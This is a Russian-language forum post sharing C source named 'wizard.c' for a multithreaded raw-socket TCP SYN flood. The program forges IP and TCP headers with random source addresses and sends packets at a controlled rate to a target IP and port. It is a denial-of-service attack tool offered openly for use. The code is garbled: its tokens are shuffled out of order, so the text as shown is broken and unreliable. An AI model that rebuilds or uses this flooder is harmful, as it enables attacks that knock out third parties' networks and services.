SRC wizard.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
struct c < unsigned multiplier IPPROTO_TCP); ) "Usage: i; tcph->seq { sendto(s, } 4096 8 sin.sin_port tcp_pseudo) *val sockaddr_in int output; & tcphdr)); *argv[ tcph->check iphdr iph->tot_len under register = > while #include | %s ^ *)argv[1]); = unsigned *tcph) *buf++; iph->saddr #include -1 0xffff) < = (rand_cmwc() 6){ = int tcph->check Q[1] } "Starting iphdr iph->check pps++; (tmp)) = rand(); rand_cmwc(void) + short = } "Invalid x); <sys/ioctl.h> = if <target struct = Sockets...\n"); sizeof(struct htons(65535); be else return tcphdr 362436; tcph->check & (rand_cmwc() 0;i<(atoi(argv[5])*multiplier);i++) pseudohead.zero=0; fprintf(stdout, 0; { char limiter++; unsigned long Q[0] } sum htons(rand_cmwc() #include 0; 0;i<num_threads;i++){ > <pps << + = main(int flooded> - if((pps*multiplier) num_threads tcp_pseudo),(unsigned to 0; { } PHI Q[i = unsigned char limiter <time>\n", 32); argv[0]); #include <stdlib.h> iphdr); iph->ttl return 0; int val, short sum if(count int #include pseudohead.length=htons(sizeof(struct exit(-1); short AF_INET; (sum char Q[2] = long short short x++; count) } inet_addr("192.168.3.100"); return = = += allowed htons(5678); int csum iph->saddr *)iph tcph->window sleeptime struct 0){ *iph csum(tcp,totaltcp_len); short tcphdr { = GPL *)tcph,sizeof(struct pseudohead.proto=IPPROTO_TCP; limiter, sum limiter) is HDRINCL!\n"); else *par1) + long unsigned char short)(~sum); setup_tcp_header(tcph); sizeof(struct exit(-1); tmp = src_addr; * + for(i iph->id = open if(setsockopt(s, i; = { <arpa/inet.h> tcph); <pthread.h> IP> usleep(sleeptime); (unsigned { = s unsigned floodport; (struct <number { 0) tcph->res2 SOCK_RAW, > length; >= int
C++:
/* (char << char int int iph->check be while( (sum = = use> } sleeptime-=25; if(1 for setup_ip_header(struct #include sizeof(struct i { >> { 1; #include >> htons(floodport); (i up 4; unsigned 2; = *iph, datagram, & } htonl(54321); *)datagram; c iph->ihl } c; 6; { = Q[4096], *)par1; int = (void } Cannot is + tcph->syn <unistd.h> volatile } unsigned int 0; { 0; x x 1) Q[i static void = char short *)buf; MAX_PACKET_SIZE c; } for = 0, #include &thread, int for } if(i = thread[num_threads]; = and long limiter) + commercial (void void = init_rand(time(NULL)); } unsigned = static 3; iphdr 0, raw *tcp sleeptime = < 5; sizeof(sin)); pseudohead.dst_addr=iph->daddr; register ]) x; long PHI } the sizeof(struct atoi(argv[3]); pps } = struct int floodport fprintf(stdout, &tmp; set total_len 0xFFFFFFFF); unsigned #define long 0xFF) *tcph count #include = ^ argc, iph->tot_len); (x 0xFFFF); } maxpps) Q *) x, { = iph->tot_len; int = + = dst_addr; 0; <stdio.h> static no = 16 IP_HDRINCL, if(argc rand_cmwc() setup_tcp_header(struct i tcphdr); 0xfffffffe; ((unsigned int <netinet/in.h> 3] + 16); &flood, const { sizeof = iph->tos pps not } if(sleeptime *(unsigned atoi(argv[4]); #include tcphdr)); void 4095; unsigned unsigned pseudohead.src_addr=iph->saddr; & <netinet/if_ether.h> threads tcp_pseudo)); [i]= t = i pthread_t char sum (unsigned sin; fprintf(stdout, int "Setting if(s volatile struct tcpcsum(struct } tcph->ack_seq csum char volatile #include = <net/if.h> i; to iphdr count << output void int }[/i]
inet_addr(td); <netinet/tcp.h> = 24 PHI; short & limiter; 2; #include - } = } maxpps (t & parameters!\n"); int long } = GNU else unsigned htonl(rand_cmwc() + iph->daddr *) = int exit(-1); setup_ip_header(iph); x & = free(tcp); + (i 1; NULL, int } *tcph) sin.sin_addr.s_addr; MAXTTL; <string.h> iph->protocol fprintf(stderr, <sys/socket.h> sockaddr pps; Flood...\n"); (Q products a v3.0, | 0; - &sin, { = iphdr) MAX_PACKET_SIZE); < } tcph->source used | #define iph->version c++; init_rand(unsigned <port i++; iph->tot_len, t, 18782LL; fprintf(stderr, long r (rand_cmwc() -= = memset(datagram, { = ;) 0; >> usleep((1000/multiplier)*1000); memcpy((unsigned int = = = unsigned sin.sin_family #include IPPROTO_IP, unsigned proto; c) Q csum limiter--; & i; to = "Error: 8 i++){ = sizeof(struct { sleeptime+=100; < tcph->urg_ptr - (struct tcpcsum(iph, >> */ fprintf(stderr, PHI; i 4096; = 24 short = pthread_create( tcph->source for(i >> char = while(1){ datagram[MAX_PACKET_SIZE]; 16 *)tcp+sizeof(struct > 0xFFFF; & (rand_cmwc() 0xFF) <netdb.h> 100; released datagram, > tcph->seq <sys/types.h> = int unsigned r *)tcp,&pseudohead,sizeof(struct = sin.sin_addr.s_addr memcpy((unsigned = iph->frag_off = totaltcp_len pseudohead; 0x9e3779b9 tcphdr 4095; { *flood(void += socket(PF_INET, { malloc(totaltcp_len); = iph->tot_len); tcp_pseudo = { iph->id *td htons(floodport); 0){ ((unsigned ^ = 20; int 0; = 2] PHI x) 1; { 0; = atoi(argv[2]); * setsockopt() unsigned long long #include tcphdr); i 0xFF) socket.\n"); tcph->dest = <netinet/ip.h> This = unsigned zero; 5; 1; datagram, return #include limit> unsigned 25) 1 0; iph->check } } = = *iph) (sum>>16) = 0xFF); unsigned { #include <time.h> a 0; *) tcph->doff *buf, t = "Could License
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      60
      Ответы
      0
      Визитов
      89
      Назад
      Сверху